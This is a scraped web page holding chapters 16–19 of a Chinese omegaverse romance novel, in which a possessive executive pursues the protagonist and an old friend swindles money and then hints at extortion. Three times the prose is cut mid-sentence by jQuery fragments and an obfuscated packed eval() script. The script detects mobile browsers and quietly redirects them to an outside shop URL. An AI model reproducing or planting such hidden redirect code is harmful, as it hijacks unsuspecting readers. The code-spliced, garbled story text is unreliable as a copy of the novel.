$(''#content'').append('' 起就是别人口中的别人家的孩子,不管是学习、样貌还是运动等各方面都十分优越。他的一生可以说是顺风顺水,不管是学习还是工作,很少出现让他烦心的事。 自从林迎出现,他开始遇到了以前从来没有遇到过的挫折。林迎分明和他一样,各方面都很契合,也应当和他一样是喜欢对方的,可林迎总是否认,不愿意承认。现在还去见其他阿尔法,他有了从未有过的危机感。 他不能继续放任林迎去见其他阿尔法,阿尔法不可以见,贝塔和欧米伽也不可以见,所有的性别都有可能引诱林迎这个什么都不懂的人。林迎不懂,他会慢慢教他。 在车里看了林迎很久,林迎也没有醒来,在他靠近时还皱了下眉。谢相连下了车,许一一还在不远处等着。 看到他,许一一立马跟上来,笑着问:“老大,还有事吗?没事的话我就先回去,就不打扰你们二人世界了。” 他想要上车,可车上还有人,他只能踟蹰不定地等着谢相连说话。 谢相连揉了揉额角,他头疼得很。 许一一很有眼力见,立马就问:“您是在为林少爷的事烦恼?” 跟在身边多年,谢相连一个眼神他就能猜到谢相连是什么意思,谢相连这人在工作上都占有欲十足,现在好不容易遇到个喜欢的,许一一敢说,如果不是林迎不同意谢相连恨不得二十四小时都把人带在身边。 不过老板占有欲强是老板的事,他做手下的,只需要替老板分忧就够了。 谢相连没说话,许一一就出主意说:“林少爷这样的,追得太紧反而不好。” “你让我放他走?”谢相连不悦。 他好容易才拿钱把人哄好,让他放手,他这助理是白干了。 “不是,您误会了,”许一一连忙解释,“不是放林少爷走,是假装放他走,欲擒故纵您知道吧?” 谢相连一脸看傻子的表情——欲擒故纵有什么好不知道的? 许一一激动说:“您看似是放他走了,但是这段时间你们如胶似漆,突然分开,林少爷肯定会不自在,到时候就会回来找您的。” 谢相连半信半疑,许一一保证说:“真的,您得信我,别的我不清楚,但这一招特别有用。” 他周围的人,多少都用过这一招,成功概率特别大,他老板不懂是没谈过,他不能不懂。 谢相连没说话,许一一闭嘴不说话了,再说下去就多管闲事了,不过能不能,现让他回去,他一个人在这里,多尴尬啊。 “行,按照你说的办。” 许一一喜出望外:“那奖金的事……” “成了给你翻倍。” “谢谢老大!” 林迎头疼欲裂,周围有稀碎的嘈杂声,隐隐约约传入耳里,他皱眉睁眼,随着醒来,身体也一阵酸痛。 车外人来人往,说话声笑声都擦着车而过。 好半晌林迎才发现自己在这里,驾驶座上还坐着一个人,冲他笑:“您睡好了?我们老板让我送你回家。” 16. 第 16 章 “什么?”林迎揉了揉耳朵,怀疑是不是他没睡醒,不然怎么会听到这种话。 许一一认真说:“您不是想要离开我们老板?” 林迎张了张嘴,懵懂问:“他同意了?” 许一一点头:“是的,所以我送您到这里。” “啊……”林迎好似在做梦,想方设法想要摆脱谢相连,谢相连怎么也不肯答应,现在莫名其妙就答应了,是易感期过了,不需要他了? “当然,您想回去的话,我也可以送您回去找老板。” “不,我不回去。” 林迎推开车门,下了车,笑盈盈说:“你帮我带句话。” 许一一打起十二分精神,心里做好准备把林迎的好话带回去让谢相连开心。 “希望一辈子都不要再见面。”林迎说完,潇洒下车离开。 许一一许久才反应过来,“啊”了一声。 不是,这是什么意思,如果他真的把这话带回去给谢相连,别说是奖金加倍了,他怕是这个月工资都得扣! 不对不对,不应该是这样发展。 他慢慢开着车,眼睛盯着后视镜看林迎离开的方向,远远的,潇洒的人突然回头,似乎是很紧张在说什么。 许一一惊喜,他就知道他的办法有用,他猛地把踩下加油,扬长而去。 既然要欲擒故纵,就要做到底! 林迎黑着脸看着远去的车,他是想离谢相连越远越好,可他想起谢相连承诺他的股份他还没拿到手! 许一一一定看到了他喊他,却头也不回把车开走,这也是谢相连的算计吧? 说什么送他离开,其实是不想兑现承诺给他股份的借口!林迎越想越气,股份没到手,他不是白受委屈了? 他在回去要股份和彻底获得自由之间犹豫,股份诱人啊,可自由更可贵。咬咬牙,林迎放弃回去跟谢相连索要股份,他起码拿了谢相连的庄园还有车子,也不算太亏。 就当是断了关系前给谢相连最后的施舍,给自己做了很久心理建设,在回到家后,还是没忍住把垃圾桶踹翻。 真是便宜谢相连这个狗东西了! 林迎得了自由,养了两天,确保身上没有谢相连的信息素,他才出去找鬼混。什么夜不归宿,什么一天只睡四五个小时,怎么疯怎么来。 没有人管着就是舒服!想吃什么就吃什么,想玩什么就玩什么,想去哪里就去哪里! 唯一的不足是偶尔半夜会做噩梦——这也是林迎不愿意多睡的原因之一,总是梦到谢相连,梦到他突然找上门,醒来房间只有他一人,饶是如此,林迎还是出了一声冷汗。 尽管林迎告诉自己不过是易感期,他也有,可谢相连的易感期还是给他留下了阴影。 怪不得阿尔法会讨厌阿尔法,他现在也讨厌阿尔法。期间苏子珩来找他还被他赶走,他短时间内不想见到任何一个阿尔法,是他爸也不行。 “欲擒故纵?”谢相连冷笑。 许一一缩着脖子小声说:“也许还需要一点时间……” “你保证他会来找我。” “那、那天林少爷确实很不舍看着我离开,我绝对没有骗您。”许一一这么说着,看着谢相连冷峻的脸,声音还是越来越小,开始担心是不是哪里出错了。 他离开之前确实看到林迎不舍看他这边,他想着过不了几天林迎就会来找谢相连,这都过去三天了,林迎没来,没联系谢相连,也没联系他,好像真的打算和谢相连断绝关系一样。 许一一连忙说:“既然林少爷沉得住气,不如老大您主动出击?” 谢相连冷哼:“人都不知道去哪了,我出击?” 之前担心林迎跑了,几天见不到人他就找到林家去,好不容易把人带回家,现在人是他主动放走的,他再找去林家,林迎不得气得破口大骂,而后和他同归于尽。 “老大您放心,我已经查到最近林少爷在做什么了。” 许一一打开笔记本电脑,翻出来视频和照片,都是有关林迎的,等谢相连看完,又补充道:“您放心,都是正规渠道,绝对没有侵犯林少爷隐私。” 作为一个老奸巨猾、在职场摸鱼打滚多年的老油条,许一一知道什么能触碰,什么不能触碰。 谢相连脸色稍微,点头示意他继续说。 “林大少爷,今天去飙车不?已经好几天没去了。” 林迎活动了一下身体,确实有点想念飙车的感觉,点头说:“老地方。” 对方立马去群里摇人:“今晚林少爷请客,有空的快来。” 林迎喜欢飙车,但不喜欢一个人,人多才刺激,每次不管来多少人都默许了。 狗腿发完搓着手问:“林少爷,您最近换新车了?” 他问的是谢相连送给林迎的车。 林迎有车,但不多,毕竟家里只是暴发户,他不是真的富二代,花钱也得看着点,他有好车,开豪车还是第一次,狗腿立马就发现了。 林迎无所谓点头,虽然谢相连很可恨,可这车不错,车也是无辜的,他和谢相连断绝来往后始终是做不到把车卖了,不仅留着,出门还特别招摇开着,生怕别人不知道他换了新车。 “林大少爷这是在哪发了大财?带带我们呗。”狗腿试图从林迎身上得到点好处。 “你以为谁都能和我一样?省省力气吧。”林迎嫌弃翻白眼。 对方一愣,不过习以为然,很快就笑着恭维:“您当然不一样,我也没想和您比,只是想赚点零花钱而已。” “不想玩就滚。”林迎没了耐心,他难道还得和他们说这是谢相连补偿他的? 被骂了对方依旧笑呵呵的,哄着林迎带他玩。 林迎没再搭理他,飙车的地方是正规的,有钱人喜欢包场,林迎无所谓包不包,到了地方见到前面有一辆陌生的车,眯了眯眼,一眼就看出来是一辆好车。 以前也有不少人来玩,这么好的车,他还是第一次看到。 林迎的人不少也看到了那辆车,凑在一起猜测是谁家的少爷来玩。 他们喊着林迎少爷,实际都知道林迎是暴发户的儿子,喊他少爷只是为了讨他欢心,林迎哪里是什么少爷,说难听点,如果不是有钱,在他们圈子里,还不得被玩成什么样。 林迎看了两眼,很快收回视线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294901|198554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,车好是好,但不一定有他厉害。 上了车,有车开到他旁边停下。 林迎看去,是刚刚那辆车,应该是想和他一起飙车。林迎降下车窗,笑道:“哥们,你是第一次来吧,和我飙车可不是什么好事。” 来这里飙车的,多少都知道林迎飙起车来有多么不要命,和林迎玩归玩,没人会想着和林迎比。 对方的车窗没降下来,林迎瞪了一下,把车窗摇上。 搁这装什么高冷,得给他点颜色瞧瞧。 枪一响,林迎猛踩油门,车立马飞了出去,熟悉的路,熟悉的车,林迎漫不经心踩着油门,看着时速一点一点加,也没有松开油门。 一辆车突然擦着他的车身越过了他,林迎愣住,那车是刚刚和他并排的车。能追上他,从一开始油门就没有松开过,踩得也比他死。 林迎立马被激起了斗志,用力踩死油门,他倒是要看看这人是什么人,敢这么开车。 眨眼间的功夫,那车已经甩掉林迎一段剧情,林迎兴奋打着方向盘,到了拐弯处也没松油门。 “林少爷这是吃错什么药了?”没上场的人看到林迎的开法,奇怪问了一句。 “吃醋了吧。”有人笑着说。 “见不得别人比他好。” 林迎不在,他们放心大胆开始蛐蛐。 林迎现在很兴奋,完全没有他们想的吃醋,他单纯是激动能遇到一个敢和他拼车的人。 那些狗腿一个一个惜命得很,哪怕这里的安全措施做得很好,也很少有人敢和他一样飙车,一个个都跟过家家一样。 开了一圈下来,林迎推开车门下车,走到早就到了终点的车面前,敲了敲车门。 “厉害啊,有没有考虑做当职业?” 林迎说到底是业余人员,比不上职业,也见不到职业的人,根据他的经验,这人完全可以去进军职业赛车。 车里的人没动静,林迎奇怪抬头问不远处的人:“人走了?” 他车比对方慢点,来的时候车已经停下了,没见到人下车,先入为主以为人还在车上,现在没得到回应,怀疑是不是人早就下车了。 “没看到他下车。”有人回答。 林迎:“……” 所以是故意不搭理他? 林迎没好气,转身准备离开,身后传来开门声,他犹豫了一下还是转回去。 一张帅气熟悉的脸出现在视野里,林迎皱眉:“你怎么在这里?” 谢相连抹了把被汗水浸湿的头发,露出额头,认真说:“朋友送的车,我来试下。” 林迎半信半疑,看了看那车,确实是新车,犹豫了两秒,相信谢相连说的话。他知道自己有魅力,但魅力没有大到让谢相连这种大忙人特意来陪他玩赛车。 “你还算不错。”林迎还是挺欣赏谢相连的飙车技术。 “谢谢。”谢相连礼貌说。 眼前的人看着人模人样的,看着还顺眼,林迎提议:“或许我们可以做兄弟。” 抛开他们之间乱七八糟的事,谢相连这人真的不错。 谢相连沉声说:“我不想,我想要你。” 17. 第 17 章 林迎下意识去看周围的人,周围的人从看到谢相连开始,都有意和他们这边保持距离,这点眼力见,是他们这群小喽喽该有的。 其他人应该没听到,林迎松了口气,面对谢相连却没好脸色:“你有病!” 他给了谢相连台阶下,谢相连偏偏不走台阶,也不坐电梯不走楼梯,非要跳楼,来一个他自认为的闪亮登场。 林迎从没那么后悔过前几秒说过的话,他就不该对谢相连这种人渣抱有期待,期待他是个正常人,期待之前都是误会,是因为谢相连易感期临近才闹得不愉快。 谢相连从头到尾都是一个变态。 林迎不想和谢相连相处,转身走了两步,折回来伸手说:“股份,给我。” 他没想着特意去找谢相连要股份,毕竟他不想再见到他,既然现在见到了,他没有理由不要回自己的东西。 “找个地方谈谈。” “不。”林迎拒绝。 找地方谈?谁能保证谢相连不会又突然发癫对他做什么。 “股份转让要有律师在场。” “你骗我?”林迎狐疑这是谢相连想和他单独见面的说辞。 “你可以上网查。” 谢相连信誓旦旦,林迎动摇了:“要很长时间?” “不会,很快就好。” 不用和谢相连相处很长时间,还能拿到股份,怎么想这个交易都不亏。 “林大少爷,你们聊完了吗?我们能过去吗?”有个狗腿好奇他们到底在聊什么,跃跃欲试想要过来听听。 “你们自己玩,我有生意要谈。”林迎冷酷无情扔给他们这句话,扭头示意谢相连带路。 谢相连带林迎到了最近的一家餐厅,看了眼手表说:“在来的路上。” 林迎不悦:“你之前为什么不带律师?” 谢相连一本正经说:“我没想到会在这里遇到你。” 林迎想了想,好像真的是这么一回事,如果谢相连带着律师,不就坐实了他是奔着他来的? “吃什么随便点。”谢相连把菜单推到林迎面前。 林迎不客气点了吃的,刚飙车完,他确实有点饿。菜比律师先上来,林迎一直到吃完,都没见到所谓的律师,吃饱喝足,开始警觉:“人呢?” “在外面。”谢相连发了条信息,一个穿着西装的男人走了进来。 接下来一切顺利,不到半个小时时间就搞定一切。顺利到林迎怀疑谢相连给他的转让书是假的。 “去庄园玩游戏?” 林迎无言看着谢相连:“你觉得我有那么好骗?” 到了庄园,是玩游戏还是玩他,他能不知道? 谢相连还想说什么,他的手机响了,看了手机一会儿,最后还是接了电话。 许一一:“老大!不能这样说话!会把人吓跑的!” 来这里和林迎飙车是许一一的主意,趁机和林迎拉近关系,只是他没想到他一会儿没盯着,谢相连就开始乱来。 什么不想做兄弟,只想上你。 什么要和我回庄园玩游戏吗。 这些拙劣的话究竟是谁教的! 他怎么不记得他教谢相连这么说过! 谢相连没说话,目送林迎离开,才不满问:“按照你的办法,得多久才能带他回家?” 许一一扶额说:“你们是谈恋爱,不是做什么非法交易。” 谢相连过了许久,说:“扣奖金。” 许一一茫然:“啊?” “太慢了,不要你的办法。” 林迎刚从餐厅出来,就看到在门口等着的狗腿们。 一看到他,他们就迎上来,七嘴八舌问。 “您什么时候认识他的?” “之前发财,是他提携您的?” …… 一个个的,句句不离谢相连。 林迎被他们烦得皱眉:“怎么,你们想去舔他?” 他们听出林迎的嘲讽尴尬找补:“只是好奇您会认识他,他怎么比得上您呢。” “是啊,他一看就不是什么好人。” “但是您既然认识他了,那总得从他那里拿点好处吧。” 看出林迎不喜欢谢相连,有人出主意算计谢相连。 林迎淡声问:“我是那种小人?” “这话说的,能认识您是他的荣幸,您要点东西,怎么能算是小人呢?” 这话林迎爱听,谢相连不就是有点臭钱,生意上做得好点,那又怎么样,想和他玩的人多了去了,要排队也是谢相连排队。 有人抬手做了个切的手势,意思是宰谢相连一把。 林迎有这个想法,但转眼想想,认识谢相连的时间不算长,他已经从谢相连那里拿了不少东西了,一辆车、一个庄园,还有百分之十的股份。 再拿的话…… 林迎迟疑,会不会把人惹生气,到时候东西反而被谢相连要回去。他还在犹豫,周围一群人已经叽叽喳喳在给他出主意。 “谢氏集团不是很大吗?肯定也需要员工,正好我妈让我给表弟找个工作,到时候不会少了您的好处。” “你这不是为自己谋福利吗,肯定好处得让林少爷拿着,要我说,谢氏集团最近不是在进军娱乐圈吗,那娱乐圈好看的欧米伽多了去,林少爷可以去跟他要点人。” “……你么一个个的,能不能盼我点好的?”林迎无语,他是喜欢玩,但那些违法的事他也没干过。 “我也需要您帮点忙。”这次说话的是李家的,和林迎家也有点来往,但自从林家有钱后,就很少和李家有来往,林迎倒是不在意对方现在家境远不如自己。 “你有什么事?李狗子好久没看到你了吧?”林迎不记得李狗子大名叫什么,他叫花名也叫习惯了,李狗子更不敢有意见。 李狗子叹气:“最近日子不好过,您要不给点钱接济一下?” “要钱没有。”林迎拒绝,他可以带着他们玩,但给他们钱,那不可能。 李狗子安静了一会儿,问:“您还记得小时候我救过您吗?现在只是要您跟谢家要点钱给我,不用您自己掏腰包。” 两人小时候整日混在一起,林迎是个调皮的,有一次不小心溺水,是李狗子把他拉上来的。 林迎沉默,朋友涉及到金钱,就很难再做朋友了,他不喜欢李狗子道德绑架,但他更不喜欢钱人情。 “你要多少,我给你行吧。”林迎干脆问他。 李狗子小声说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294902|198554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两百万。” “两百万!你当我家开银行的?!” 林迎震惊,两百万对他家来说也不是小数目,他平时吃喝玩乐就把家里给的零花钱造的差不多了,怎么可能拿的出两百万给他。 李狗子无奈说:“所以不是让您去跟谢家要吗?两百万对谢家来说不算什么。” 刷过谢相连的卡,林迎当然知道两百万对谢相连来说不算什么,只是他不想再和谢相连有什么来往。 林迎咬咬牙说:“你让我想想,我可能给你钱,但两百万实在有点多。” 其他人听到两百万也愣了,现在家气氛古怪,有人活跃气氛说:“别想那么多,林少爷这人仗义,肯定会帮你想办法。” 李狗子顺着他们的话说:“那我就先谢林少爷了,我请您喝酒吧。” 林迎摆摆手:“算了,你们去喝。” “去啊,”林迎不去,估计没人买单,他们不信李狗子会买单,纷纷劝林迎,“您不去我们喝有什么意思,还是您真的因为他要借钱生气了?” 被他们架着,林迎叹气,跟着他们去了酒吧。 以前不太喝酒,自从上次喝了谢相连藏的酒,他好像就在喝酒的路上一去不复返了,狗腿子们也知道他最近喜欢喝酒,这才提议去酒吧。 进了酒吧包间,立马服务员张罗着上酒,什么酒都上了一堆,有的喝有的玩,他们渐渐把注意力从林迎身上挪开。 林迎还在琢磨李狗子的事,李狗子在他旁边坐下,道歉道:“让您为难了,钱的事我自己想办法。” 他说着倒了杯酒递到林迎面前,林迎没接,李狗子又说:“说真的,我的事我自己想办法,我也想清楚了,兄弟谈钱多伤感情,是我没过大脑。” 林迎松了口气:“真的不需要我帮忙?两百万我拿不出来,五六十万还是可以的。” “不用,我已经想到该怎么筹钱了,”李狗子又把酒往林迎面前递,“你不喝我可要当你是生气了。” 林迎接过酒杯,痛快一口气喝完,笑着说:“你和他们不一样,我也不愿和你谈钱,你能解决就好。” 李狗子比不得苏子珩和他熟,但李狗子好歹也是小时候的玩伴,比这些后来认识的狐朋狗友还是重要点的。 不过也只是一点。 李狗子给林迎满上:“我当然知道。” 他脸上堆着笑,林迎看着他,感觉又回到了小时候,只是单纯和他一起玩,不是惦记他其他东西。 苏子珩家里做的安稳生意,小时候没少被家里拉去补习,和林迎一起玩的时候反而还没李狗子长,还是后来林家渐渐有了起色,林家有心培养林迎,林迎和苏子珩在一起玩的时间才多了——至于最后,林迎自然没被培养起来,早就习惯了和混混一起玩,区别不过是以前都是穷鬼,林家有钱了,愿意跟着林迎的也不单是穷鬼了。 “不喝了不喝了。”林迎两杯酒下肚感觉有点热,试图拒绝继续喝。 “这才哪到哪,”李狗子打趣,“您酒量难道就这一点?这不像您啊。” 林迎哈了一声说:“我酒量好着呢。” 他又喝了几杯,开始晕头转向。 在他看不到的地方,李狗子拿着他的手机离开了包间。 18. 第 18 章 林迎醒来时只有一个念头——他以后再也不喝酒了。 第一次喝觉得难喝,但莫名上头,想着也许自己有喝酒的天赋,几次下来,每次喝完都头疼欲裂,他现在醒悟了,什么天赋,那是他喝醉了,产生的幻觉。 别人喜欢喝酒就喜欢,反正他不要吹这个牛了。以后谁喊他喝酒,他就和谁翻脸。 酒店不是第一次来,林迎收拾了下自己,回他家里继续补觉。睡了一天,天黑了林迎才出去觅食。 晚上各种摊贩都出来了,林迎在小吃街随便买了点对付肚子,边走边吃,逛了一圈没找到什么好玩的,今天也不是很想去飙车。 路过电影院,看到最近有新上映的电影,索性就进去看了场电影,看完出来已经是凌晨两点了。 路上空荡荡没什么人,林迎漫无目的散步,一声鸣笛骤然响起,他不悦看去。 许一一放慢车速,跟在林迎身边,放下车窗讨好问:“林少爷,您要去哪?要不要我送您?” 回家的路上遇到林迎,许一一觉得是老天给他机会,给他一个将功补过的机会。 谢相连那边他说不过,谢相连也完全不听他说,他说什么都觉得是在害他,许一一担心再说下去,谢相连会连他的专业能力都否定。 谢相连那边行不通,那就从林迎这边走,说不定林迎一心软,立马就帮他了。 林迎嫌弃问:“他让你来的?不是说再也不见?” 许一一苦着脸说:“那天我是开玩笑的,您别放心上,我家老板其实很想念您的。” 林迎恶寒道:“少来恶心我。” “真的……”许一一解释说,“我从没见过……” “从没见过总裁对谁笑过,”林迎打断许一一的话,无语停下来看他,“我看你也别做什么助理了。” 许一一一头雾水:“啊?” 林迎认真:“当务之急是把西红柿卸载了,少看点没营养的小说。” “西红柿是什么……”许一一弱弱问。 林迎:“……” 总觉得许一一是在逗他,可许一一看着又太过认真,好像真的不知道他在说什么。 许一一还真的不知道,他好歹也是谢相连的助理,谢相连忙,他只会更忙,里里外外都要帮谢相连打理好,根本没时间娱乐。他都想好了,早点赚够钱,然后退休享受人生。 “不需要你,你一边去。” “林少爷,您就给我一次机会……” “滚。” 林迎拧眉,许一一的话都说不出口了,灰溜溜把车开走,开了一圈又回来,在林迎赶他走前连忙说:“我刚刚有事忘了和您说,您有事的话可以联系我,我随时能回您信息,老板他忙,有时候可能看不到信息。” 林迎奇怪:“我什么时候找他了?” 许一一张嘴说:“昨晚您不是打电话给老板了?” 他想着昨晚谢相连接到电话时难看的脸色,还是决定为自家老板辩解一下:“要钱也可以直接和我要,不用麻烦老板的,只要您想要的,不是不存在的东西,我都可以给您找来。” “我什么时候跟他要钱了?”林迎不爽,昨晚狐朋狗友们是怂恿着他去坑一把谢相连,可他最后明明什么也没做,不能着也赖到他头上吧? 许一一肯定:“是给您转……” 他说到一半坐直了身体,直视前方说:“林少爷,您当做今天没见过我。” 说着就开车要走,林迎不肯,直接去拉他衣领:“停下!” 许一一停下了,委屈说:“我多嘴了,您别在意。” “到底怎么回事。”林迎有不好的预感。 许一一不说话,林迎拉车门,车门纹丝不动:“还不让我上去了?” 没办法,许一一只能让林迎上去,在林迎的逼迫下,最后一五一十交代了昨晚的事。 昨晚谢相连在工作,手机想起的时候没在意,许一一瞥了一样,提醒道:“老大,是林少爷打来的电话。” 谢相连一顿,立马就接了电话,电话那头说了什么许一一不清楚,只知道谢相连让他转账。许一一以为谢相连是被打断了工作不爽,今天见到林迎,想着替谢相连分忧,没想到反而说错话了。 “我昨晚没给他打电话,更没让他给我打钱。”林迎皱眉,昨晚他喝得不省人事,怎么回的酒店都不记得,他打开通话记录,里面也没有和谢相连的记录,总不能他喝醉了打电话找谢相连发疯,然后还有先见之明把通话记录删了吧? 太扯了。 提起钱,他倒是想起了李狗子,前一秒还跟他要钱,后一秒就说自己能搞定,他口中的能搞定,是借着他的名义去跟谢相连要钱? 林迎打电话给李狗子,毫不意外听到了被拉黑的机械模板回话。如果说之前是猜测,那现在他能肯定是李狗子搞的鬼了。 “我送您回家?”许一一小声问。 林迎抬眼看他:“带我去找你老板。” 许一一警惕:“太晚了,不合适吧。” 林迎笑了:“你可以问他想不想见我。” 股份都乐意给他,谢相连不可能那么轻易就放他走,奸诈的商人不会做这种亏本的买卖。 许一一憋屈开车带林迎去找谢相连,谢相连平时有工作住在市中心,到了小区门口,许一一开始打退堂鼓:“其实有什么事都可以明天再来的,现在老板说不定在睡觉。” “少废话,他门号多少。” 许一一唯唯诺诺告诉林迎门牌号,胆战心惊目送林迎进了小区。 林迎进小区的时候被保安拦了一下,林迎不耐烦打电话给谢相连:“下来,我在你小区门口。” “等我。”谢相连声音有些哑,说完这话就挂了电话。 没多久林迎就看到开着车出现在的谢相连,一看到业主,保安放林迎进去。林迎上了车,立马就问:“你昨晚给谁转钱了?他说要钱你就给他?!” 如果李狗子是自己去骗谢相连,林迎不会管他们之间的事,偏偏李狗子是借着他的名义联系的谢相连,他夹在中间,好似是他故意帮着李狗子去骗谢相连一样。 谢相连叹气:“你来找我,就为了问这事?” “什么叫做问这事?”林迎恼了,他准备和他谈谈怎么把钱拿回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294903|198554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,谢相连却云淡风轻的,显得他大惊小怪像没见过世面一样。 谢相连昨晚熬了个通宵,今天刚睡下不到半个小时就被喊醒,心里燥着呢,但你给他大电话的人是林迎,他立马就下来了,结果人是来了,却在和他聊别人。 “你不说话什么意思?” “一点钱,他要就给他了。” 林迎不理解,更不想理解,下车甩门:“你自愿给他的,和我没关系。” 好不容易见一面,说了几句没营养的话就走了,谢相连沉默打电话给许一一。 许一一接了电话立马求饶:“老大我不是故意的,我以为是林少爷跟你要钱……” “别回去了,去公司把方案拿过来。”谢相连睡不着,也不想睡了,干脆把积攒的工作处理了。 许一一劝道:“您最近都没怎么休息。”——我也没怎么休息。 谢相连没说话,许一一立马应了:“我现在就去。” 车开到地下室,谢相连还是觉得不得劲,昨晚别人用林迎打电话给他,还说林迎有危险,他立马就确定这人是在说谎,可万一他没拿到钱,对林迎做什么呢? 左右也不多,干脆就让许一一转了,他好不容易看上的人,哪怕只有万分之一的概率可能受伤,他都不允许。 而对方拿到钱后立马就躲了起来,暂时找不到没关系,只要不威胁到林迎就好,这件小事也没必要让林迎知道,谁知道他的助理最近是怎么回事,平时还算靠谱,怎么在恋爱这方面情商会那么低,也不知道是学了谁。 林迎出现在他面前,现在走了,他憋着一股气呢。 林迎说着和他没关系,还是不死心试着问了那群狐朋狗友,结果一个个都说不知道李狗子在哪,他打电话对方也不接。林迎气笑了,李狗子一开始就打算算计他了,跑得那么干脆。 苏子珩突然打电话,林迎有些意外接了。 “你还在外面?” “我不在外面能在你家?”林迎反问。 苏子珩声音难得严肃:“你回家看看叔叔阿姨,他们可能知道点什么。” 林迎愣住,马不停蹄赶回去。以前早该早早熄灯的屋子,现在还亮着灯,他一进去,老妈就扭过头去不看他。 “妈?”林迎错过走过去在她面前蹲下,“您怎么哭了?谁欺负您了?” 老爸忍了忍,突然抬脚踹他:“你小子真是活够了!平时没少惯着你,你现在连你妈都敢算计!” 林迎不防,被结结实实踹了一脚,大腿一阵疼,当即也委屈喊了起来:“什么啊!我做什么了!” “别打孩子,”老妈吸了吸鼻子,阻止丈夫打儿子,又带着哭腔说,“你不喜欢妈管,妈就不管你,但你怎么能这么想妈妈。” “我真的不知道你们在说什么!” 老爸和老妈对视一眼,老妈停了哭泣,有些开心问:“你真的什么都不知道?” 林迎摇头,耐心问:“到底发生了什么,你们不说我也不知道。” 三人冷静下来,聊了半个小时,林迎气得牙痒痒,李狗子不仅骗了谢相连钱,还从他妈这里骗了首饰! 19. 第 19 章 李狗子骗他妈林迎犯了事,现在谁也不想见,只想要钱,老妈打电话给林迎的未接通话记录都被李狗子删了,老妈担心老爸会生气,就把首饰给了李狗子,担心第二天会找林迎,李狗子还骗老妈说林迎现在很讨厌她,觉得是她害他成了现在这模样,一辈子都不想和她见面。 老妈伤心了,老爸发现不对,想找林迎却被老妈阻止,老爸找苏子珩打听是怎么回事,才有了苏子珩打电话让林迎回家的事。 林迎很气,可还是耐心哄道:“妈——我是那样的人吗?您儿子我是没什么本事,但也不是什么大逆不道的人,怎么可能会那么想您?” 老妈已经缓过来了,有些脸红:“……平时你也不主动和我联系。” 大多时候都是她联系林迎,每次聊没几句林迎又不想聊了,她每次都想是不是太过打扰他了。 “以后我主动联系您好吗?别哭了,这脸蛋都哭花了,等会儿我爸又要打我了。”林迎说着瞥了某个不由分说就踹他的老登。 老登:“……” 老妈担心问:“很疼吗?过来妈看看。” “不用不用,您快去睡吧,我也困了。” “今天就别回去了,在这里过夜吧,啊。” 她不说林迎也有这个打算,李狗子的事明天他再想法子,现在陪老妈重要。 第二天林迎把二老安抚好才离开去找李狗子,他以为李狗子会一直躲着他,没想到李狗子换了号码联系他。 “哥,我错了,我真的不是故意的。” “别叫我哥,我嫌恶心,”林迎冷笑,林家没钱之前这家伙也是喊他哥,林家有钱了,就一口一个林少爷,现在和他卖弄什么情怀,“我看你是钱用完了,想起我这个冤大头了。” 李狗子安静了一会儿,低声说:“我真的不是故意的,现在我的事解决了,钱我会慢慢还的。” “我妈的首饰呢?”林迎问。 “阿姨的首饰我还没卖。” “你人呢,还躲着?” “我现在不方便见人。” 说了半天,要钱没钱,要人没人,就这么哄他两句。 林迎不惯着他:“那你打电话给我做什么?就不怕我报警抓你?” 李狗子叹气:“我也是被逼无奈,明明哥只要听我的,跟谢家要点钱也不会有现在这些事。” “谢家和我是什么关系?为什么我要帮你去要钱?” “总之这事都过去了。” 一句话就想把一切都撇干净,林迎怒骂:“你敢挂电话一个试试,你最好指望我永远也找不到,也指望你家里人都躲好了。” “你不会和我爸妈说什么,哥你从小就会讨大人欢心。” “你试试。”林迎咬牙。 李狗子安静了一会儿说:“我可以和个你见面,但你不能对我动手。” “行。”林迎一口答应。 见到了人,林迎第一件事就是挥拳重重给了李狗子一下。 李狗子捂着脸颊,吐出一口血水,皱眉道:“说了不许动手。” “我就动手你能怎么样,你还真敢和我见面!”林迎现在想揍死他的心都有,戏耍他就算了,还敢连他老妈也算计。 李狗子没有把他当人,他当然也不会把李狗子当做人看待。只可惜李狗子似乎是还有求于他,顿了一下说:“哥,再帮我最后一个忙吧。” 他冲林迎笑得无辜:“反正你都已经帮我那么多了,不差这么一点。” “我很好骗吗?”林迎阴沉看他。 李狗子扯了扯嘴角:“看来你是真的不打算帮我了。” 林迎嗤笑,他来这里就是为了揍他一顿出气。 “我看谢相连还挺在意你的。” 李狗子莫名其妙说了这么一句话,林迎警惕问:“你要做什么?” 李狗子没回答他,自顾自说:“那天晚上我只是说如果不给钱,我不保证你会出事,他就乖乖赚钱给我。” 他笑了下:“现在你人在这,我想他很乐意给我钱花。” 